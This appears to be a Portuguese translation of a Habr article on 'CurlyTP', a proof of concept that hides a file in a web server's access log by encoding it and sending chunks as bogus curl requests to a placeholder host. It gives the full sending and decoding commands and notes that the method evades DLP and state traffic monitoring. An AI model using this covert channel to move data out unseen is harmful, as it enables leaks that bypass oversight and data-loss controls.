Mensagens secretas através dos logs do servidor

De acordo com a definição da Wikipedia, um cache morto é uma ferramenta de conspiração que serve para trocar informações ou algum tipo de objeto entre pessoas que usam um local secreto. O ponto é que as pessoas nunca se encontram - mas, ao mesmo tempo, trocam informações, mantendo a segurança operacional.

O cache não deve atrair atenção. Portanto, no mundo offline, costumamos usar coisas discretas: um tijolo livre na parede, um livro da biblioteca ou um buraco na árvore.

Existem muitas ferramentas na Internet para criptografia e anonimização, mas o fato de usá-las atrai a atenção. Além disso, eles podem ser bloqueados no nível corporativo ou estadual. O que fazer

O desenvolvedor Ryan Flowers sugeriu uma opção interessante - use qualquer servidor da Web como cache . Se você pensar bem, o que o servidor da Web faz? Ele aceita solicitações, emite arquivos e grava um log. E ele escreve no log todos os pedidos, mesmo os incorretos !

Acontece que qualquer servidor da Web permite salvar quase qualquer mensagem no log. Flowers se perguntou como usá-lo.

Ele oferece esta opção:

  1. Pegamos um arquivo de texto (mensagem secreta) e calculamos o hash (md5sum).
  2. Nós o codificamos (gzip + uuencode).
  3. Escrevemos no log por solicitação conscientemente incorreta para o servidor.

Local: [root@local ~]# md5sum g.txt a8be1b6b67615307e6af8529c2f356c4 g.txt [root@local ~]# gzip g.txt [root@local ~]# uuencode g.txt > g.txt.uue [root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh 

Para ler o arquivo, é necessário executar estas operações na ordem inversa: decodifique e descompacte o arquivo, verifique o hash (o hash pode ser transmitido com segurança por canais abertos).

Os espaços são substituídos por =+= para que não haja espaços no endereço. O programa, que o autor chamou de CurlyTP, usa a codificação base64, como nos anexos de email. A solicitação é feita com a palavra-chave ?transfer? para que o destinatário possa encontrá-lo facilmente nos logs.

O que vemos nos logs neste caso?

 1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0" 

Como já mencionado, para receber uma mensagem secreta, é necessário executar operações na ordem inversa:

 Remote machine [root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue [root@server /home/domain/logs]# uudecode g.txt.gz.uue [root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz [root@server /home/domain/logs]# gunzip g.txt.gz [root@server /home/domain/logs]# md5sum g a8be1b6b67615307e6af8529c2f356c4 g 

O processo é fácil de automatizar. O MD5sum corresponde e o conteúdo do arquivo confirma que tudo foi decodificado corretamente.

O método é muito simples. “O objetivo deste exercício é apenas provar que os arquivos podem ser transferidos através de pequenas solicitações da Web inocentes e funciona em qualquer servidor da Web com logs de texto regulares. De fato, todo servidor web é um cache! ”Grava Flores.

Obviamente, o método só funciona se o destinatário tiver acesso aos logs do servidor. Mas esse acesso é dado, por exemplo, por muitos hosters.

Como usá-lo?


Ryan Flowers diz que não é especialista em segurança da informação e não listará os possíveis usos do CurlyTP. Para ele, isso é apenas uma prova de conceito de que as ferramentas familiares que vemos diariamente podem ser usadas de maneira não convencional.

De fato, esse método tem várias vantagens sobre outros "caches" de servidor, como o Digital Dead Drop ou o PirateBox : não requer configuração especial no lado do servidor ou em nenhum protocolo especial - e não causa suspeitas entre os que monitoram o tráfego. É improvável que o SORM ou o sistema DLP verifique os URLs em busca de arquivos de texto compactados.

Essa é uma maneira de enviar mensagens através de arquivos de serviço. Você pode se lembrar de como algumas empresas avançadas costumavam postar ofertas de emprego para desenvolvedores em cabeçalhos HTTP ou em código de página HTML.



A idéia era que apenas os desenvolvedores da web veriam um "ovo da páscoa", já que uma pessoa normal não visualizaria os cabeçalhos ou o código HTML.





Source: https://habr.com/ru/post/pt465497/


All Articles